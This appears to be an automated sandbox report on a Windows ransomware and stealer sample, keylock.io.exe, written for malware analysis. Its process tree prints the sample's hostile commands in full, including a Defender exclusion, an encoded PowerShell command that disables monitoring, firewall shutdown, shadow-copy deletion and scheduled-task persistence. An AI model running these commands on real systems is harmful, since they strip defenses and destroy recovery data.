cb65ce63c269cb0a817fd1ba6614f220c848477775d28410507f9cd258f8a75d

Analysis

max time kernel
7s
max time network
11s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
keylock.io.exe
Size 30KB
Sample260429-22m41ahs41
SHA256 cb65ce63c269cb0a817fd1ba6614f220c848477775d28410507f9cd258f8a75d
MD5 7a753280bd35ff55b0b16a282a6d023d
SHA1 2788bff0a5278db254633f9ea435f08c5387c282
SHA512 af9d42287c0512f158511d9088ff0ea8e6074e78900b2965b01b0fea676630dcb38330e61ff442b3d413a0b48a44b5bd8f9121fb65827a28a10eaddec74c8a33
SSDEEP 384:AhEhj82glfgjIJ1CAlgzzQBzCkukiMFZlWB/b7g6OEO6g5Oo+R2Iii5av8+EOkdv:AVN86gPetlWBj05tB+R2AEPa3kCF
TLSH
T18DE2F94837EA86A1D9FE1ABE083392105730F917ED13EB1D0FD465892F637458E987A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5076	powershell.exe
1528	powershell.exe
5076	powershell.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3388	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	keylock.io.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	keylock.io.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
916	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4360	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
748	keylock.io.exe
3108	chrome.exe
3108	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	keylock.io.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
748	keylock.io.exe
748	keylock.io.exe
748	keylock.io.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 3108	748	keylock.io.exe	80
PID 3108 wrote to memory of 1740	3108	chrome.exe	81
PID 3108 wrote to memory of 4648	3108	chrome.exe	82
PID 3108 wrote to memory of 4648	3108	chrome.exe	82
PID 3108 wrote to memory of 916	3108	chrome.exe	83
PID 3108 wrote to memory of 4132	3108	chrome.exe	84
PID 3108 wrote to memory of 4132	3108	chrome.exe	84
PID 3108 wrote to memory of 1640	3108	chrome.exe	85
PID 3108 wrote to memory of 1640	3108	chrome.exe	85
PID 3108 wrote to memory of 2220	3108	chrome.exe	86
PID 3108 wrote to memory of 2220	3108	chrome.exe	86
PID 748 wrote to memory of 4252	748	keylock.io.exe	87
PID 3108 wrote to memory of 3256	3108	chrome.exe	88
PID 3108 wrote to memory of 3256	3108	chrome.exe	88
PID 4252 wrote to memory of 1008	4252	chrome.exe	90
PID 3108 wrote to memory of 4780	3108	chrome.exe	92
PID 3108 wrote to memory of 4780	3108	chrome.exe	92
PID 748 wrote to memory of 2816	748	keylock.io.exe	93
PID 2816 wrote to memory of 2856	2816	chrome.exe	94
PID 3108 wrote to memory of 4372	3108	chrome.exe	95
PID 3108 wrote to memory of 4372	3108	chrome.exe	95
PID 748 wrote to memory of 1124	748	keylock.io.exe	96
PID 1124 wrote to memory of 3104	1124	chrome.exe	97
PID 3108 wrote to memory of 1612	3108	chrome.exe	98
PID 3108 wrote to memory of 1612	3108	chrome.exe	98
PID 748 wrote to memory of 4988	748	keylock.io.exe	99
PID 4988 wrote to memory of 4688	4988	chrome.exe	100
PID 3108 wrote to memory of 4180	3108	chrome.exe	101
PID 3108 wrote to memory of 4180	3108	chrome.exe	101
PID 3108 wrote to memory of 2008	3108	chrome.exe	102
PID 3108 wrote to memory of 2008	3108	chrome.exe	102
PID 3108 wrote to memory of 2344	3108	chrome.exe	103
PID 3108 wrote to memory of 2344	3108	chrome.exe	103
PID 3108 wrote to memory of 1496	3108	chrome.exe	104
PID 3108 wrote to memory of 1496	3108	chrome.exe	104
PID 3108 wrote to memory of 1624	3108	chrome.exe	105
PID 3108 wrote to memory of 1624	3108	chrome.exe	105
PID 3108 wrote to memory of 2708	3108	chrome.exe	106
PID 3108 wrote to memory of 2708	3108	chrome.exe	106
PID 748 wrote to memory of 1100	748	keylock.io.exe	107
PID 748 wrote to memory of 4320	748	keylock.io.exe	109
PID 748 wrote to memory of 5076	748	keylock.io.exe	110
PID 4320 wrote to memory of 4752	4320	chrome.exe	111
PID 748 wrote to memory of 4868	748	keylock.io.exe	113
PID 3108 wrote to memory of 5040	3108	chrome.exe	115
PID 3108 wrote to memory of 5040	3108	chrome.exe	115
PID 748 wrote to memory of 3388	748	keylock.io.exe	116
PID 748 wrote to memory of 1528	748	keylock.io.exe	118
PID 3108 wrote to memory of 844	3108	chrome.exe	120
PID 3108 wrote to memory of 844	3108	chrome.exe	120
PID 748 wrote to memory of 4360	748	keylock.io.exe	121
PID 748 wrote to memory of 5080	748	keylock.io.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
"C:\Users\Admin\AppData\Local\Temp\keylock.io.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff820c728,0x7ffff820c734,0x7ffff820c740
    3⤵
    PID:1740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1592,i,12462487578433380558,240978084593755931,262144 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1888 /prefetch:2
    3⤵
    PID:4648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,4920650978767724121,1820402425529713358,524288 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2228 /prefetch:11
    3⤵
    - System Time Discovery
    PID:916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,15066226685001117955,679297479390725490,524288 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2544 /prefetch:13
    3⤵
    PID:4132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,12861243232877206189,12856182673158713318,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:1640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,4391389648203804619,17452031094773224170,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:2220
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4216,i,13125525872430285027,15390143856077522351,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2396 /prefetch:9
    3⤵
    PID:3256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4584,i,12405055743376245584,16604027687526013695,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4588 /prefetch:1
    3⤵
    PID:4780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4744,i,3552074169260002272,16744371656618425219,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4780 /prefetch:1
    3⤵
    PID:4372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4980,i,1341870693213599304,8052764914334441394,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4956 /prefetch:1
    3⤵
    PID:1612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5104,i,7335379670559900498,2074203762858064535,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5108 /prefetch:1
    3⤵
    PID:4180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5284,i,3281508314563594976,12364895984289430022,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5316 /prefetch:1
    3⤵
    PID:2008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5456,i,15281654724405010275,9194636099619396936,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5272 /prefetch:1
    3⤵
    PID:2344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5596,i,12242782316113664212,279714782483643871,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5604 /prefetch:1
    3⤵
    PID:1496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5748,i,12689247170246028537,14219288484643678413,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5764 /prefetch:1
    3⤵
    PID:1624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5904,i,3167183518313888082,12254009908529211933,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5916 /prefetch:1
    3⤵
    PID:2708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3384,i,560059952700830357,16577633622793043958,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4600 /prefetch:1
    3⤵
    PID:5040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3424,i,16027236881591816444,5754580213903153720,2097152 --field-trial-handle=1900,i,831295343731158471,1578523417918860852,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3548 /prefetch:1
    3⤵
    PID:844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff820c728,0x7ffff820c734,0x7ffff820c740
    3⤵
    PID:1008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xfc,0xd8,0x7ffff820c728,0x7ffff820c734,0x7ffff820c740
    3⤵
    PID:2856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff820c728,0x7ffff820c734,0x7ffff820c740
    3⤵
    PID:3104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff820c728,0x7ffff820c734,0x7ffff820c740
    3⤵
    PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe"
  2⤵
  PID:1100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pua-install.com/offer
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff820c728,0x7ffff820c734,0x7ffff820c740
    3⤵
    PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Command "Add-MpPreference -ExclusionPath "C:\""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5076
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "NanoCoreUltimate" /tr "C:\Users\Admin\AppData\Local\Temp\keylock.io.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4868
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1528
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4360
- C:\Windows\System32\shutdown.exe
  "C:\Windows\System32\shutdown.exe" /s /f /t 0
  2⤵
  PID:5080

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2180

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5312

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a38055 /state1:0x41c64e6d
1⤵
PID:5480

C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
1⤵
PID:6004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter
